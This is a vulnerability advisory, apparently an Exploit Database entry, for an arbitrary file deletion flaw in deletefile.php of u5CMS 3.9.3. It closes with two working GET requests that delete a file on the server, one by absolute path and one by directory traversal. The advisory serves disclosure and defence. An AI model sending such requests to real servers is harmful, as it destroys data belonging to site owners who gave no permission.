u5CMS 3.9.3 – ‘deletefile.php’ Arbitrary File Deletion

• Exploit Database
• 16 阅读

• 作者： LiquidWorm
  日期： 2015-02-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36026/

• 
  u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability
  
  
  Vendor: Stefan P. Minder
  Product web page: http://www.yuba.ch
  Affected version: 3.9.3 and 3.9.2
  
  Summary: u5CMS is a little, handy Content Management System for medium-sized
  websites, conference / congress / submission administration, review processes,
  personalized serial mails, PayPal payments and online surveys based on PHP and
  MySQL and Apache.
  
  Desc: Input passed to the 'f' parameter in 'deletefile.php' is not properly
  sanitised before being used to delete files. This can be exploited to delete
  files with the permissions of the web server using their absolute path or via
  directory traversal sequences passed within the affected GET parameter.
  
  Tested on: Apache 2.4.10 (Win32)
   PHP 5.6.3
   MySQL 5.6.21
  
  
  Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2015-5226
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5226.php
  
  
  29.12.2014
  
  ---
  
  
  Target: C:\deleteme.txt
  -----------------------
  
  GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=/deleteme.txt HTTP/1.1
  GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../../../../../../deleteme.txt HTTP/1.1